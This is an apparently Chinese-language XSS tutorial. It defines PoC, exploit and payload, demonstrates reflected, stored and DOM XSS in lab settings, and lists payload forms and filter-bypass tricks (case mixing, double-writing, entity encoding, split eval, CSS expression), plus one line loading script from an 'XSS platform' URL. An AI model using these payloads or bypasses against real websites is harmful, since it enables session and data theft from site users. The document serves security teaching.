[TOC]

1 漏洞验证相关概念

1.常见概念
POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ’ shell代码 ',是Payload的一种。Shellcode也有很多种,包括正向的,反向 的,甚至meterpreter。
2.POC与EXP对比
POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害 的,Exp通常是有害的,有了POC,才有EXP。
3.Payload与Shellcode
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。
4.Payload与EXP
同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
5.Payload模块
在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这 三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager 主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用S tager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。

2 XSS漏洞验证

2.1 常见POC
可以用一段简单的代码(POC)来验证与检查漏洞的存在,常见的用于验证XSS漏洞存在的POC如下:

1
2
3
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

2.2 反射型XSS漏洞验证

1.反射型XSS漏洞常存在于参数中。本实验在XSS-labs第一关做验证,点击网站直接开战:http://test.ctf8.com/level1.php?name=test

在这里插入图片描述

我们将URL中的参数修改为?name=111回车,可以看到弹出以下页面,并我们的内容显示在页面上,后续我们将测试此处是否存在反射型XSS漏洞。

在这里插入图片描述

我们将参数修改为?name=,测试是否触发弹窗。回车可以看到弹出窗口,说明网站后台未对输入参数进行过滤,存在漏洞。

在这里插入图片描述

我们右键网页,点击查看源码,如下。由于该网页没有对输入输出内容做任何的检验与过滤,导致这种异常

的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script>alear(/xss/)</script></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>
​```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script>alear(/xss/)</script></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

2.3 存储型XSS漏洞验证

1.存储型XSS漏洞常存在于数据库内容中,如留言板等。此处利用之前搭建的论坛网站的留言功能作为实验平台,该平台的搭建过程参考《搭建一个简单丑陋的论坛网站》。

2.我们登录访问该网站,使用我们之前住过的账号a,密码也是a。登录后返回首页,点击“我要留言”。

在这里插入图片描述

3.使用留言功能,留下如下的内容:

1
<script>alert(/xss/)</script>

。点击提交

在这里插入图片描述

4.再次返回首页,可以看到刚刚留下的留言。

在这里插入图片描述

5.点击该留言,出现弹窗,这就是存储型XSS漏洞。

在这里插入图片描述

6.右键该页面,查看网页源码,如下.我们看到因为我们搭建的平台没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。

1
2
3
4
5
6
7
8
9
<html>
<head>
<meta charset = "utf-8">
<title>留言论坛</title>
</head>
<body>
<h1>留言内容</h1><a href = '../index.php'>返回首页</a><hr />
作者:a<br>标题:存储型XSS<hr /><script>alert(/xss/)</script></body>
</html>

2.4 DOM型XSS漏洞验证

1.暂时没有找到什么平台适合测试,就找到了一段代码,我们将其存在phpstudy网站的根目录下的dom.php文件中,稍后进行测试。该代码中的script标签内的内容意思是,定义一个变量a并赋值为URL,为a解码,将message=后面的内容写入到DOM树中。

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>DOM-XSS</title>
<meta>charset="utf-8">
</heaf>
<body>
<script>
var a = document.URL;
a = unescape(a);
document.write(a.substring(a.indexOf("message=")+8,a.length));
</script>
</bofy>
</html>

2.我们通过浏览器访问该网页,因为我们还没有给URL传递参数message,此处将内容以存文本的形式输出。

在这里插入图片描述

3.修改参数为

1
?message=<script>alert(/xss/)</script>

,回车时则出现弹窗。

在这里插入图片描述

4.我们右键查看源代码,发现代码与刚刚编写的一致,并没有弹窗的内容。

在这里插入图片描述

5.审查网页元素,则可以看到DOM树这里多出了个弹窗内容,就是上述document语句修改生成的。(有的浏览器查看结果有区别,可以试试不同浏览器的解析结果)

在这里插入图片描述

3 XSS语句构造与绕过

3.1 XSS语句构造方式

第一种:可以利用[<>]构造HTML/JS语句,如

1
2
3
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

第二种:可以利用javascript:伪协议的方式构造XSS。

1
2
3
<a href="javascript:alert(/xss/)">touch me</a> 	//利用a标签的javascript:伪协议
<img src="javascript:alert(/xss/)" > //利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败
javascript:$.getScript("XSS平台接收网址") //jQuery 的 $.getScript() 函数用来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。

第三种:事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。事件种类主要有以下几种。
1.Windows事件:对Windows对象触发的事件;
2.Form事件:HTML表单内的动作触发事件;
3.keyboard事件:键盘按键;
4.Mouse事件:有鼠标或类似用户动作触发的事件;
5.Media事件:由多媒体触发的事件。

1
2
3
4
5
6
<img src='./smile.jpg' onmouseover='alert(/xss/)'>	//该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'> //onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'> //与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)"> //单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">

第四种:是利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 行内样式

<div style = "backgroud-image:url(javascript:alert(/xss/))">
//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>
//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
//其中xss.css文本内容如下
h1 {color:red;}
div{
/*width:expression(alert(/xss/))*/
backgroud-image:url(javascript:alert(/xss/))
}
@ expression
<div style="width:expression(alert(/xss/))">
<style>Body{backgroud-image:expression(alert(/xss/));}</style>
@import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>HELLO</div>

5.其他标签及手法,利用一些比较新的前端标签进行构造。

1
2
<svg onload="alert(/xss/)">
<input onfocus=alert(xss/) autofocus>

3.2 变形及绕过方式

0.目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。
第一种:大小写混编
可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。

1
2
<Img Src='#' Onerror='alert(/xss/)'>						//由<img src='#' οnerrοr='alert(/xss/)'>变形得到的
<A Href="javascript:alert(/xss/)">touch me</a> //由<a href="javascript:alert(/xss/)">touch me</a>变形得到的

第二种:双写绕过。当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。

1
<scr<script>ipt>alert(/xss/)</scr</script>ipt>

第三种:引号的使用
HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。

1
2
3
4
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>

第四种:使用 [/]或者/**/ 代替空格,如:

1
<img/src='#'/onerror='alert(/xss/)'>

第五种:在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。

1
2
3
<img src	='#' onerror='alert(/xss/)'>		//有时候tab符插在关键字内会失效。
<a href="ja
vascript:alert(/xss/)">touch me</a>

如果过滤了script,可以使用大小写绕过,如sCRiPt

第六种:
1.编码绕过。可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。
字符a,对应ASCII码97,十进制编码&#97,十六进制编码&#x61。
字符e,对应ASCII码101,十进制编码&#101,十六进制编码&#x65。
2.另外,可以将以下字符插入到任意位置中:
Tab ==> &#9
换行 ==> &#10
回车 ==> &#13
3.可以将以下字符插入到头部位置。
SOH ==> &#01
STX ==> &#01
转码后例子如下:

1
2
<A href="j&#97;v&#x61;script:laert(/xss/)">click me!</a>					//经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:laert(/xss/)">click me!</a> //经过插入字符

第七种:拆分跨站,将语句才分成多个,拼串起来后再执行。

1
2
3
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script> //ecal为执行函数,将后续的字符串当成语句执行。

第八种:CSS中的变形。

1
2
3
4
width: expression(alert(/xss/))			//使用全角字符
width:expre/**/ssion(alert(/xss/)) //注释会被浏览器忽略

<style>@import 'javas\cri\0pt:alert(/xss/)';</style> //插入 \ 和 \0 符号